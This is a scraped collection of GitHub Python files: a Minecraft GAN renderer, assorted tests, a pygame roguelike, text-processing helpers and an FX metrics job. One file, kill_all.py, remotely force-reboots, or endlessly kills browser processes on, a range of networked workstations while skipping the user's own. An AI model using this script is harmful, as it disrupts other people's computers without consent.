status=200)\n","repo_name":"grocery-on-rails/grocery-backend","sub_path":"resources/cart.py","file_name":"cart.py","file_ext":"py","file_size_in_byte":2757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18177834020","text":"from bz2 import compress\nfrom keras.models import load_model\nimport keras.backend as K\nimport numpy as np\nimport pandas as pd\nimport random\nimport grpc\nimport minecraft_pb2_grpc\nfrom minecraft_pb2 import *\nimport sys\nimport argparse\nfrom blockid_to_type import blockid_to_type\n\n# connect to minecraft\nchannel = grpc.insecure_channel('localhost:5001')\nclient = minecraft_pb2_grpc.MinecraftServiceStub(channel)\n\n# mapping of blocks to compressed block categories\nmapping_df = pd.read_csv('../compression_csv.csv')\nid_to_type = {0:'AIR', 1:'STONE', 2:'GRASS', 5:'PLANKS', 8:'WATER', 12:'SAND', 18:'LEAVES', 20:'GLASS', 22:'LAPIS_BLOCK', 37:'YELLOW_FLOWER', 43:'STONE_SLAB', 53:'OAK_STAIRS', 85:'FENCE'}\n\n# This is hacky, but because we sort when we map the compressed values, we can decompress them by using the models output as an index for this list. 0 will always be air, 8 will always be glass (or w/e), etc\n# compressed_blocks = [0, 1, 2, 5, 12, 18, 20, 53, 85, 126]\n\n\nBOUNDS_WORLD = [[-30000000, 29999999],  [4, 255], [-30000000, 29999999]]\nDIRECTIONS = [\"N\", \"W\", \"S\", \"E\", \"U\", \"D\"]\nDIRECTIONS_2D = [\"W\", \"E\", \"U\", \"D\"]\nORIENTATIONS = [\"O.N\", \"O.W\", \"O.S\", \"O.E\", \"O.U\", \"O.D\"]\n\n\nclass EvoRenderer():\n    def __init__(self, model, model_type, bin_or_cat, struct_num, offset_x=20, offset_y=20):\n        self.model = model\n        self.struct_num = struct_num\n        self.model_type = model_type\n        self.bin_or_cat = bin_or_cat\n        self.latent_size = model.layers[0].input_shape[0][1]\n        self.offset_x = offset_x\n        self.offset_y = offset_y\n        self.compressed_blocks = [0, 1, 2, 5, 12, 18, 20, 53, 85, 126]\n        self.offset = [0,0,0]\n        #TODO: get the size of the structure we're using by looking at the last layer of our generative model\n\n\n        # Evocraft variables\n        self.BOUNDS_WORLD = [[-30000000, 29999999], [4, 255], [-30000000, 29999999]]\n        self.DIRECTIONS = [\"N\", \"W\", \"S\", \"E\", \"U\", \"D\"]\n        self.DIRECTIONS_2D = [\"W\", \"E\", \"U\", \"D\"]\n        self.ORIENTATIONS = [\"O.N\", \"O.W\", \"O.S\", \"O.E\", \"O.U\", \"O.D\"]\n\n        # clear map\n        self.clean_zone([200, 200, 200], [0, 0, 0])\n\n        # read the mapping dataframe\n        self.mapping_df = pd.read_csv('../compression_csv.csv')\n\n        # connect to minecraft server\n        self.channel = grpc.insecure_channel('localhost:5001')\n        self.client = minecraft_pb2_grpc.MinecraftServiceStub(channel)\n\n\n\n    def decompress(self, gen_structs):\n        # turns integer values back into block IDs by inverting our compression\n        for val in np.unique(gen_structs):\n            gen_structs[gen_structs == val] = self.compressed_blocks[val]\n\n        return gen_structs\n\n\n    # take latent vectors, and generate structures from them\n    def generate_from_latent_categorical(self, model, latent_vectors):\n        generated_structures = model.predict(latent_vectors)\n\n        # a categorical GAN will output one-hot encoded, so this must turned back into categorical\n        generated_structures = np.argmax(generated_structures, axis=4)\n\n        return generated_structures\n\n        # take latent vectors, and generate structures from them\n\n    def generate_from_latent_binary(self, model, latent_vectors):\n        generated_structures = model.predict(latent_vectors)\n        return generated_structures\n\n\n    # generates an array of random normal latent vectors\n    def generate_latents_rn(self):\n        return np.random.normal(0, 1, (self.struct_num, self.latent_size))\n\n\n    \"\"\"RENDERING HELPERS\"\"\"\n    def bound_coordinate(self, value, coord):\n        \"\"\"\n        Restrict the coordinate to the bounds.\n        INPUT:\n            value: a value\n            coord: the index of the coordinate (0,1,2)\n\n        OUTPUT:\n            the value bounded according the bounds registered in BOUNDS_MINECRAFT above.\n        \"\"\"\n        low = BOUNDS_WORLD[coord][0]\n        high = BOUNDS_WORLD[coord][1]\n        return max(low, min(high, value))\n\n    def bounded(self, position):\n        \"\"\"\n        Bounds the position according to BOUNDS_WORLD.\n        INPUT:\n            position: a 3D position.\n\n        OUTPUT:\n            bounded_position: a 3D position, within the boundaries given by BOUNDS_WORLD\n\n        \"\"\"\n        bounded_position = [self.bound_coordinate(position[0], 0), self.bound_coordinate(\n            position[1], 1), self.bound_coordinate(position[2], 2)]\n        return bounded_position\n\n    def build_compression_list(self, mapping_df):\n        pass\n\n    # spawns a building\n    def build_zone(self, blocks, offset):\n        \"\"\"\n        Build a 3D structure, given by a tensor specifiying the value of each block type at each position (3D), and possibly orientations\n        Inputs:\n            blocks: np array size Mx*My*MZ, where Mx,My,Mz are bounds given as input.\n\n        \"\"\"\n        positions = []\n        blocks_index = []\n\n        for x in range(blocks.shape[0]):\n            for y in range(blocks.shape[1]):  # this is height in minecraft\n                for z in range(blocks.shape[2]):\n\n                    # get block type (will be a category from 0 to 9)\n                    block_id = int(blocks[x, y, z])\n\n                    # hacky decompression\n                    block_id = self.compressed_blocks[block_id]\n\n                    blocks_index.append(block_id)\n                    position = self.bounded([x+offset[0], y+offset[1], z+offset[2]])\n                    positions.append(position)\n\n        zone = [offset[0], offset[1], offset[2], offset[0]+blocks.shape[0],\n                offset[1]+blocks.shape[1], offset[2]+blocks.shape[2]]\n        response = client.spawnBlocks(Blocks(blocks=[Block(position=Point(x=int(positions[i][0]), y=int(positions[i][1]), z=int(\n                positions[i][2])), type=blockid_to_type[blocks_index[i]], orientation=NORTH) for i in range(len(blocks_index))]))\n\n        return blocks_index\n\n\n    #TODO: everything blow this\n    \"\"\"CLEANING MAP POST-SELECTION\"\"\"\n    def clean_positions(self, positions):\n        \"\"\"\n        As a way to clear out a space, place a block of AIR in each of the indicated positions.\n        Input:\n            positions: np.array of size N*3\n        \"\"\"\n        for i in range(positions.shape[0]):\n            response = client.spawnBlocks(Blocks(blocks=[Block(position=Point(x=int(positions[i, 0]), y=int(\n                positions[i, 1]), z=int(positions[i, 2])), type=AIR, orientation=NORTH)]))\n\n\n    def clean_zone(self, bounds, offset):\n        \"\"\"\n        Cleans an area of space within certain bounds, by replacing them by block of AIR.\n        Input:\n            bounds: dimensions of the zone, list of 3 elements.\n            offset: offset position.\n\n        \"\"\"\n        zone = [offset[0], 4, offset[2], offset[0] +\n                bounds[0], 4+bounds[1], offset[2]+bounds[2]]\n        print(\"Cleaning the following zone:\", zone)\n        response = client.fillCube(FillCubeRequest(\n            cube=Cube(min=Point(x=int(offset[0]-10), y=int(4), z=int(offset[2]-10)), max=Point(x=int(offset[0]+bounds[0]+10), y=int(\n                4+bounds[1]+10), z=int(offset[2]+bounds[2]+10))),\n            type=AIR\n        ))\n        print(response)\n\n    # wasserstein loss used for WGAN models. Needed to load WGAN from file\n    def wasserstein_loss(self, y_true, y_pred):\n        return K.mean(y_true * y_pred)\n\n\n    def render(self, model):\n        print(\"rendering structures...\")\n        latents = self.generate_latents_rn()\n        if self.bin_or_cat == \"bin\":\n            structs = self.generate_from_latent_categorical(model, latents)\n        else:\n            structs = self.generate_from_latent_categorical(model, latents)\n\n        for struct in structs:\n            # use evocraft to draw all these into the server.\n            rendered_struc = self.build_zone(struct, self.offset)\n            self.offset[0] += self.offset_x\n        self.offset[0] = 0\n        self.offset[2] += - self.offset_y\n\n\n","repo_name":"TimMerino1710/Minecraft-Interactive-Evolution","sub_path":"interactive-evolution/evocraftrender.py","file_name":"evocraftrender.py","file_ext":"py","file_size_in_byte":7918,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}
+{"seq_id":"39688090841","text":"from unittest import TestCase\n\nfrom integration.resources.simple_dependency_classes import (\n    FirstBaseChildrenDependencyClass,\n    MixedDependenciesClientClass,\n    SecondBaseChildrenDependencyClass,\n    SimpleDependencyClientClass,\n    SimpleDependencyDependencyClass,\n)\n\nfrom yandil.configuration.configuration_container import ConfigurationContainer\nfrom yandil.container import Container\nfrom yandil.dependency_filler import DependencyFiller\n\n\nclass TestDependencyFiller(TestCase):\n    def setUp(self) -> None:\n        self.container = Container(\n            configuration_container=ConfigurationContainer(),\n        )\n        self.container.add(SimpleDependencyDependencyClass)\n        self.container.add(FirstBaseChildrenDependencyClass)\n        self.container.add(SecondBaseChildrenDependencyClass)\n        self.dependency_filler = DependencyFiller(\n            container=self.container,\n        )\n\n    def test_fill_dependencies(self):\n        self.dependency_filler.fill(SimpleDependencyClientClass)\n\n        container_dependency_class_instance = self.container[SimpleDependencyDependencyClass]\n        client_class_instance = SimpleDependencyClientClass()\n        self.assertIsInstance(client_class_instance, SimpleDependencyClientClass)\n        self.assertEqual(container_dependency_class_instance, client_class_instance.dependency)\n\n    def test_fill_dependencies_with_fixed_args(self):\n        self.dependency_filler.fill(MixedDependenciesClientClass)\n\n        container_dependency_class_instance = self.container[SimpleDependencyDependencyClass]\n        client_class_instance = MixedDependenciesClientClass(\"arg\", kwarg=20)\n        self.assertIsInstance(client_class_instance, MixedDependenciesClientClass)\n        self.assertEqual(container_dependency_class_instance, client_class_instance.dependency)\n        self.assertEqual(\"arg\", client_class_instance.arg)\n        self.assertEqual(20, client_class_instance.kwarg)\n        self.assertIsNone(client_class_instance.client_dependency_class)\n","repo_name":"DeejayRevok/yandil","sub_path":"tests/integration/test_dependency_filler.py","file_name":"test_dependency_filler.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"18687599863","text":"import csv\r\nfrom tkinter import*\r\nfrom tkinter import ttk\r\nfrom PIL import Image,ImageTk\r\nimport os\r\n\r\nclass See_Attendance_Section:\r\n    def __init__(self,root):\r\n        #Setting Up window form\r\n        self.root=root\r\n        self.root.geometry(\"670x100+480+390\")\r\n        self.root.title(\"See Attendance\")      \r\n        self.root.resizable(False,False)\r\n        self.root.focus_force()\r\n   \r\n        bg_img = Label(self.root,bg=\"white\")\r\n        bg_img.place(x=0,y=0,relwidth=1,relheight=1)\r\n        \r\n        # Student Attendance Button\r\n        start_atten=Image.open(r\"Images\\Student_See_Attendance.png\")     \r\n        start_atten=start_atten.resize((300,50),Image.ANTIALIAS)\r\n        self.photostart_atten=ImageTk.PhotoImage(start_atten) \r\n\r\n        b1=Button(bg_img,image=self.photostart_atten,command=self.std_atndd,cursor=\"hand2\",bd=2,relief=RIDGE,fg=\"white\",bg=\"black\",activeforeground=\"black\",activebackground=\"black\")\r\n        b1.place(x=5,y=20,width=300,height=50)\r\n\r\n        # Teacher Attendance Button\r\n        save_atten=Image.open(r\"Images\\Teacher_See_Attendance.png\")     \r\n        save_atten=save_atten.resize((300,50),Image.ANTIALIAS)\r\n        self.photosave_atten=ImageTk.PhotoImage(save_atten) \r\n\r\n        b2=Button(bg_img,image=self.photosave_atten,command=self.tch_atndd,cursor=\"hand2\",bd=2,relief=RIDGE,fg=\"white\",bg=\"black\",activeforeground=\"black\",activebackground=\"black\")\r\n        b2.place(x=355,y=20,width=300,height=50)\r\n        \r\n    def std_atndd(self):\r\n        os.startfile(\"Attendance_Sheet\")\r\n        \r\n    def tch_atndd(self):\r\n        os.startfile(\"Teacher_Attendance_Sheet\")\r\n\r\nif __name__ == \"__main__\":\r\n    root=Tk()\r\n    obj=See_Attendance_Section(root)\r\n    root.mainloop()","repo_name":"DipakAgarwal0703/FRAMS","sub_path":"See_Attendance.py","file_name":"See_Attendance.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"29872103303","text":"import pygame\n# from random import choice, randint\nfrom my_basic_functions import *\n\nfrom pygame.locals import (\n    K_UP,\n    K_DOWN,\n    K_LEFT,\n    K_RIGHT,\n    K_ESCAPE,\n    KEYDOWN,\n    QUIT,\n    K_a,\n    K_b,\n)\npygame.init()\n\n# Window Parameters\nGRID_SIZE = 48\nNUMBER_OF_SQUARES = 17\nGUI_SIZE = 2\nTEXT_RECORD_SIZE = 4\nWIDTH = GRID_SIZE * (NUMBER_OF_SQUARES + TEXT_RECORD_SIZE)  # screen width\nLENGHT = GRID_SIZE * (NUMBER_OF_SQUARES + GUI_SIZE)\nscreen = pygame.display.set_mode([WIDTH, LENGHT])\nboardgame = pygame.Surface((NUMBER_OF_SQUARES*GRID_SIZE, NUMBER_OF_SQUARES*GRID_SIZE))\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\n\n\ndef size_sprites(file_location, grid_size=GRID_SIZE):\n    end_product = pygame.image.load(file_location)\n    end_product = pygame.transform.scale(end_product, (grid_size, grid_size))\n    return end_product\n\n\ndef make_ground(base_map, base_dict, grid_size, number_of_squares):\n    for i in range(number_of_squares):\n        for x in range(number_of_squares):\n            boardgame.blit(base_dict[base_map[x][i]], (x*grid_size, i*grid_size))\n\n\ndef draw_char(lista_char, grid_size):\n    for i in lista_char:\n        boardgame.blit(i.surface, pos_to_coordinates(i.pos_x, i.pos_y, grid_size))\n\n\ndef draw_GUI(list_GUI, grid_size=GRID_SIZE):\n    for i in list_GUI:\n        screen.blit(i, (list_GUI.index(i)*grid_size*2, NUMBER_OF_SQUARES*grid_size))\n        pygame.draw.line(\n            screen,\n            WHITE,\n            (list_GUI.index(i)*grid_size*2,\n             NUMBER_OF_SQUARES*grid_size),\n            (list_GUI.index(i)*grid_size*2,\n             NUMBER_OF_SQUARES*(6+grid_size))\n        )\n\n\ndef update_avatar(base_surface, surface_to_add):\n    return base_surface.blit(surface_to_add, (0, 0))\n\n\n# creatures\nsnake = size_sprites('assets/grey_snake.png')\nelf = size_sprites('assets/deep_elf_high_priest.png')\nfire = size_sprites('assets/i-rod_destruction_fire.png')\nogre = size_sprites('assets/ogre.png')\n# floor tiles\nstone_floor = size_sprites('assets/stone_floor.png')\nwater_floor = size_sprites('assets/water_floor.png')\ngrass_floor = size_sprites('assets/grass_floor.png')\n# obejcts\nrock = size_sprites('assets/rock.png')\nrock2 = size_sprites('assets/rock.png', 96)\narrow = size_sprites('assets/arrow2.png', 96)\nflame = size_sprites('assets/flame.png', 96)\nsnake2 = size_sprites('assets/grey_snake.png', 96)\n# status\nfire_status = pygame.image.load('assets/i-rod_destruction_fire.png')\nwater_status = pygame.image.load('assets/i-water.png')\n\n# dictionary that relates map with sprites\nfloor_dict = {\"s\": stone_floor, \"w\": water_floor, \"g\": grass_floor}\nlevel_map = create_map(NUMBER_OF_SQUARES, floor_dict)\nchar_base_map = [[9, 1]]\n\n\nclass Ogre:\n    def __init__(self):\n        self.surface = size_sprites('assets/ogre.png')\n        self.initial_pos = pos_validator(char_base_map, NUMBER_OF_SQUARES)\n        self.pos_x = self.initial_pos[0]\n        self.pos_y = self.initial_pos[1]\n        self.hp = 15\n        self.wet = False\n        self.old_surface = ogre\n\n    def move_randomly(self):\n        self.pos_x += randint(-1, 1)\n        self.pos_y += randint(-1, 1)\n\n    def get_hurt(self, damage):\n        self.hp -= damage\n\n\nclass Rock:\n    def __init__(self, pos_x, pos_y):\n        self.surface = rock\n        self.pos_x = pos_x\n        self.pos_y = pos_y\n        self.wet = False\n\n\nclass Player:\n    def __init__(self):\n        self.surface = elf\n        self.pos_x = 9\n        self.pos_y = 1\n        self.rock_level = 1\n\n    def move_up(self):\n        if self.pos_y != 0:\n            self.pos_y -= 1\n\n    def move_down(self):\n        if self.pos_y != NUMBER_OF_SQUARES - 1:  # number_of_squares - 1 = BOARDGAME\n            self.pos_y += 1\n\n    def move_right(self):\n        if self.pos_x != NUMBER_OF_SQUARES - 1:  # number_of_squares - 1 = BOARDGAMES\n            self.pos_x += 1\n\n    def move_left(self):\n        if self.pos_x != 0:\n            self.pos_x -= 1\n\n    def summon_rock(self):\n        for i in get_radius_area([self.pos_x, self.pos_y], self.rock_level):\n            list_char.append(Rock(i[0], i[1]))\n\n\nelfo1 = Player()\n\nogro1 = Ogre()\nogro2 = Ogre()\nlist_char = [Rock()]\n# list_char = [Ogre() for i in range(4)]\nlist_char2 = [elfo1]\nlist_GUI = [rock2, snake2, arrow]\n\n\nrunning = True\nwhile running:\n    make_ground(level_map, floor_dict, GRID_SIZE, NUMBER_OF_SQUARES)\n    draw_GUI(list_GUI)\n    draw_char(list_char, GRID_SIZE)\n    draw_char(list_char2, GRID_SIZE)\n    screen.blit(boardgame, (0, 0))\n    # water_tile_checker(list_char, [[0,0], [1, 1], [5, 5]])\n    for event in pygame.event.get():\n        if event.type == KEYDOWN:\n            if event.key == K_UP:\n                elfo1.move_up()\n            elif event.key == K_DOWN:\n                elfo1.move_down()\n            elif event.key == K_LEFT:\n                elfo1.move_left()\n            elif event.key == K_RIGHT:\n                elfo1.move_right()\n            elif event.key == K_DOWN:\n                elfo1.move_down()\n            elif event.key == K_a:\n                elfo1.summon_rock()\n            elif event.key == K_b:\n                push_action(list_char, [elfo1.pos_x, elfo1.pos_y])\n            elif event.key == K_ESCAPE:\n                running = False\n        elif event.type == QUIT:\n            running = False\n    pygame.display.flip()\n\npygame.quit()\n","repo_name":"ramirog1994/RogueLike_Tutorial","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31647094591","text":"import os\r\nimport sys\r\nimport threading\r\nBASE_NAMES = input(\"Enter a space seperated list of base names: \").strip().split()\r\nMIN_NUM = int(input(\"Min Workstation number: \"))\r\nMAX_NUM = int(input(\"Max Workstation number: \"))\r\nprint( \"Choose your base name:\\n\\tBase Names:\\n\"+\"0) None\\n\"+\"\\n\".join([str(i+1)+\") \" + BASE_NAMES[i] for i in range(len(BASE_NAMES))]))\r\nOWN_BASE = int(input().strip())-1\r\nOWN_WS = -1\r\nthreads = []\r\nKILL = False\r\nif OWN_BASE > -1:\r\n    OWN_WS = int(input(\"Enter your Workstation number: \"))\r\nparams = \"/r /f /t 0\"\r\nTKILL = input(\"Kill remote processes instead of shutdown?(y/n)\").lower()[0] == \"y\"\r\nTO_KILL = [\"chrome\",\"firefox\",\"iexplore\",\"MicrosoftEdge\"]\r\nif TKILL:\r\n    NEW_TO_KILL = input(\"Enter proccess names to kill seperated by a space\\nDefault:\\n\"+\"\\n\".join(\"\\t\"+TO_KILL[proc_ind] + (\"\\n\" if proc_ind == len(TO_KILL)-1 else \"\") for proc_ind in range(len(TO_KILL)))).strip().split()\r\n    if len(NEW_TO_KILL) > 0:\r\n        TO_KILL = NEW_TO_KILL\r\n        print(\"Targeting:\\n\" + \"\\n\".join(\"\\t\"+proc for proc in TO_KILL))\r\nelse:\r\n    user_params = input(\"Enter shutdown params(default: /r /f /t 0): \").strip()\r\n    if len(user_params) > 0:\r\n        params = user_params\r\nLOOP_FOREVER = input(\"Loop forever?(y/n)\").strip().lower()[0] == \"y\"\r\ndef pad_if_1(n):\r\n    if len(str(n)) == 1:\r\n        return \"0\"+str(n)\r\n    else:\r\n        return str(n)\r\ndef shutdown(ws,params,loop=False):\r\n    os.system(\"@echo off & shutdown \"+params+\" /m \\\\\\\\\"+ws + \">nul 2>nul\")\r\n    while loop:\r\n        if KILL:\r\n            return\r\n        os.system(\"@echo off & shutdown \"+params+\" /m \\\\\\\\\"+ws + \" >nul 2>nul\")\r\ndef task_kill(ws,loop=False):\r\n    for proc in TO_KILL:\r\n        os.system(\"@echo off & taskkill /S \"+ws+\" /IM \" + proc + \"* /F >nul 2>nul\")\r\n    while loop:\r\n        if KILL:\r\n            return\r\n        for proc in TO_KILL:\r\n            os.system(\"@echo off & taskkill /S \"+ws+\" /IM \" + proc + \"* /F >nul 2>nul\")\r\nfor base in BASE_NAMES:\r\n    for ws_id in range(MIN_NUM,MAX_NUM+1,1):\r\n        ws_name = base+pad_if_1(ws_id)\r\n        if OWN_BASE > -1 and OWN_WS > -1 and BASE_NAMES[OWN_BASE] == base and ws_id == OWN_WS:\r\n            print(\"\\nSkipping\",ws_name)\r\n            continue\r\n        print(\"\\nTarget:\",ws_name)\r\n        if not TKILL:\r\n            print(\"Executing shutdown with params:\",params)\r\n        else:\r\n            print(\"Killing specified processes\")\r\n        if LOOP_FOREVER:\r\n            print(\"Looping...\")\r\n        if not TKILL:\r\n            nthread = threading.Thread(target=shutdown,args=(ws_name,params,LOOP_FOREVER))\r\n            threads.append(nthread)\r\n            nthread.start()\r\n        else:\r\n            nthread = threading.Thread(target=task_kill,args=(ws_name,LOOP_FOREVER))\r\n            threads.append(nthread)\r\n            nthread.start()\r\nwhile len(threads) and not KILL:\r\n    try:\r\n        pass\r\n    except KeyboardInterrupt:\r\n        KILL = True\r\n        for t in threads:\r\n            t.join()\r\n        print(\"Exiting...\")\r\n        sys.exit(0)\r\nprint(\"\\nDone\")\r\nsys.exit(0)\r\n","repo_name":"WarrenHood/kill_all","sub_path":"kill_all.py","file_name":"kill_all.py","file_ext":"py","file_size_in_byte":3042,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"72038734452","text":"from nltk.stem import PorterStemmer\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.tokenize import word_tokenize\nimport numpy as np\n\nfrom nltk.corpus import names\nALL_NAMES = set(names.words())\n\ndef read_feature_names():\n    with open(\"data/feature_names.txt\", 'r') as f:\n        feature_space = f.read().split('\\n')\n    return feature_space\n\ndef word_stemmer(words):\n    stemmer = PorterStemmer()\n    stem_words = [stemmer.stem(o) for o in words]\n    return stem_words\n\ndef word_lemmatizer(words):\n    lemmatizer = WordNetLemmatizer()\n    lemma_words = [lemmatizer.lemmatize(o) for o in words]\n    return lemma_words\n\ndef words_from_text(text: str) -> list[str]:\n    return text.split(\" \")\n\ndef text_from_words(words: list[str]) -> str:\n    return \" \".join(words)\n\ndef tokenize(text: str) -> list[str]:\n    return word_tokenize(text)\n\ndef is_letter_only(word: str) -> bool:\n    for char in word:\n        if not char.isalpha():\n            return False\n    return True\n\ndef clean_text(text: str) -> str:\n    \"\"\"\n    input: text\n           Eg text = \n                '''\n                we could have had it all\n                rolling in the deep\n                you had my heart inside you hand\n                but you played it to the beat\n                '''\n\n    output: Cleaned text(no names and only alphaneumeric)\n    \"\"\"\n    text_cleaned = []\n    words = tokenize(text)\n\n    for word in words:\n        word = word.lower()\n        if is_letter_only(word) and word not in ALL_NAMES:\n            text_cleaned.append(word)\n\n    text_cleaned = text_from_words(text_cleaned)\n    return text_cleaned\n\ndef text_to_feature_array(text: str) -> np.array:\n    feature_space = read_feature_names()\n    result = []\n    cleaned_text = clean_text(text)\n    tokens = tokenize(cleaned_text)\n    for token in tokens:\n        if token in feature_space:\n            result.append(feature_space.index(token))\n\n    return np.array(result)\n\n","repo_name":"jatin837/spambuster","sub_path":"lib/processors.py","file_name":"processors.py","file_ext":"py","file_size_in_byte":1928,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"5447449456","text":"def get_day_of_week(number):\n    days_of_week = {1: \"Monday\", 2: \"Tuesday\", 3: \"Wednesday\", 4: \"Thursday\", 5: \"Friday\", 6: \"Saturday\", 7: \"Sunday\"}\n\n    if 1 <= number <= 7:\n        return days_of_week[number]\n    else:\n        return \"Invalid day number. Please enter a number between 1 and 7.\"\n\ndef main():\n    try:\n        number = int(input(\"Enter a number (1-7) to get the corresponding day of the week: \"))\n        result = get_day_of_week(number)\n        print(result)\n    except ValueError:\n        print(\"Error: Please enter a valid numerical value.\")\n\nif __name__ == \"__main__\":\n    main()","repo_name":"kolyasalubov/UA-12-10-23.PythonFundamentals","sub_path":"GlotovES/HW11/task_2.py","file_name":"task_2.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"39109899634","text":"from __future__ import absolute_import\n\nimport logging\nimport pandas as pd\nimport asyncio\n\nfrom adit.controllers import TileDBController, EventLoopController, TPOOL\n\n__all__ = ['MetricsCalculator']\n\n\nclass MetricsCalculator:\n    _CCY_PAIRS = ['EURUSD', 'USDJPY', 'EURJPY']\n    TASK_NAME = \"data-metric-cal\"\n    _INSTANCE = None\n\n    def __init__(self):\n        self.logger = logging.getLogger(self.__class__.__name__)\n        self.tiledb = TileDBController.instance()\n        self.evl = EventLoopController.instance()\n        self.evl_loop = self.evl.get_loop()\n        self.frequency = 86400 # 1 day\n\n    def _cal_metrics(self, pair, from_ts, to_ts):\n        self.logger.debug(f\"getting data of pair {pair} to calculate midclose rate\")\n        df = self.tiledb.get_ts_dataframe('raw', pair, from_ts, to_ts)\n\n        self.logger.debug(f\"resample data of pair {pair} to daily and drop NaN data row\")\n        df = df.set_index('date').resample('D').last().dropna(axis=0, how='all')\n\n        if len(df.index) < 2:\n            self.logger.debug(f\"data is not enough to perform metrics calculation, at least 2 day worth of data\")\n            return\n\n        self.logger.debug(f\"calculate midclose rate data of pair {pair} and drop unnecessary data\")\n        df['midclose'] = (df['bidclose'].abs() + df['askclose'].abs()) / 2\n        df = df.drop(columns=['bidopen', 'bidclose', 'bidhigh', 'bidlow', 'askopen', 'askclose', 'askhigh', 'asklow', 'tickqty'])\n\n        self.logger.debug(f\"calculate log return of midclose of pair {pair}\")\n        logret_df = df.pct_change().rename(columns={\"midclose\": \"logret\"})\n\n        self.logger.debug(f\"calculate exponential moving average of log return of pair {pair}\")\n        ema_df = logret_df.ewm(alpha=0.5, adjust=True, ignore_na=True, min_periods=5).mean().rename(columns={\"logret\": \"logret_ema\"})\n\n        df = pd.merge(df, logret_df, how='inner', left_index=True, right_index=True)\n        df = pd.merge(df, ema_df, how='inner', left_index=True, right_index=True)\n        self.logger.debug(f\"store daily metrics of {pair} to tiledb\")\n        self.tiledb.store_df(\"health\", f\"{pair}_DAILY_METRICS\", df)\n\n    def cal_metrics(self, pair, from_ts, to_ts):\n        self.logger.debug(f\"awaiting for metric fcalculation rom {from_ts} to {to_ts} for pair {pair}\")\n        self._cal_metrics(pair, from_ts, to_ts)\n\n    def cal(self, from_ts=None, to_ts=None):\n        for pair in self._CCY_PAIRS:\n            self.logger.debug(f\"calculate metric from {from_ts} to {to_ts} for pair {pair}\")\n            data_domain = self.tiledb.get_data_domain('raw', pair)\n            if not from_ts:\n                from_ts = data_domain[0]\n\n            if not to_ts:\n                to_ts = data_domain[1]\n\n            self.cal_metrics(pair, from_ts, to_ts)\n\n    async def cal_async(self):\n        for pair in self._CCY_PAIRS:\n            from_ts = self.tiledb.get_data_domain(\"health\", f\"{pair}_DAILY_METRICS\")[1]\n            to_ts = self.tiledb.get_data_domain(\"raw\", pair)[1]\n            if to_ts > from_ts:\n                self.logger.debug(f\"calculate data metrics from {from_ts} to {to_ts}\")\n                await self.evl_loop.run_in_executor(TPOOL, self.cal_metrics, pair, from_ts, to_ts)\n            else:\n                self.logger.debug(f\"data metrics is already up to date\")\n\n    def start(self):\n        self.evl.shedule_task(self.TASK_NAME, self._run)\n\n    def stop(self) -> None:\n        self.evl.stop_task(self.TASK_NAME)\n\n    async def _run(self, queue):\n        self.logger.info(\"starting fxcm data crawler\")\n        while True:\n            try:\n                await self.cal_async()\n                await asyncio.sleep(self.frequency)\n            except Exception as ex:\n                self.logger.error(\"fxcm crawler has exception\", exc_info=ex)\n                try:\n                    self.stop()\n                except:\n                    pass\n                break\n\n    @classmethod\n    def instante(cls):\n        if cls._INSTANCE is None:\n            cls._INSTANCE = MetricsCalculator()\n        return cls._INSTANCE\n\n\n\n","repo_name":"trinhtrannp/adit","sub_path":"adit/processor/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":4063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"44355270431","text":"import os\nimport pytest\nimport random\nimport string\nfrom collections import Counter\n\nfrom word_parser.parser import Parser\n\nFILE_PATH = os.path.dirname(__file__)\n\n\n@pytest.fixture(scope=\"function\")\ndef test_input():\n    with open(f\"{FILE_PATH}/test_input.txt\") as input_file:\n        words = input_file.read().splitlines()[0].split(\" \")\n    yield words\n\n\ndef test_get_stop_words():\n    test_parser = Parser(\n        input_file=\"fake.txt\", rules_file=f\"{FILE_PATH}/test_stopwords.txt\"\n    )\n    assert test_parser.stop_words == {\"a\", \"about\", \"above\", \"after\", \"again\"}\n\n\ndef test_stop_words_removed(test_input):\n    test_parser = Parser(\n        input_file=\"fake.txt\", rules_file=f\"{FILE_PATH}/test_stopwords.txt\"\n    )\n\n    final_list = []\n    for word in test_input:\n        if not test_parser.exclude_stop_words(word):\n            final_list.append(word)\n    assert final_list == [\n        \"There's\",\n        \"story\",\n        \"simple\",\n        \"man\",\n        \"trying\",\n        \"to\",\n        \"make\",\n        \"his\",\n        \"way\",\n        \"in\",\n        \"the\",\n        \"universe\",\n    ]\n\n\ndef test_non_alpha_removed(test_input):\n    test_parser = Parser(input_file=\"fake.txt\", rules_file=\"fake.txt\")\n    final_list = []\n    for word in test_input:\n        final_list.append(test_parser.remove_non_alpha(word))\n    assert final_list == [\n        \"Theres\",\n        \"a\",\n        \"story\",\n        \"about\",\n        \"a\",\n        \"simple\",\n        \"man\",\n        \"trying\",\n        \"to\",\n        \"make\",\n        \"his\",\n        \"way\",\n        \"in\",\n        \"the\",\n        \"universe\",\n    ]\n\n\ndef test_parse_line():\n    test_parser = Parser(\n        input_file=\"fake.txt\", rules_file=f\"{FILE_PATH}/test_stopwords.txt\"\n    )\n    with open(f\"{FILE_PATH}/test_input.txt\") as input_file:\n        line = input_file.read().splitlines()[0]\n        test_parser.parse_line(line)\n    assert test_parser.final_words == Counter(\n        {\n            \"there\": 1,\n            \"stori\": 1,\n            \"simpl\": 1,\n            \"man\": 1,\n            \"try\": 1,\n            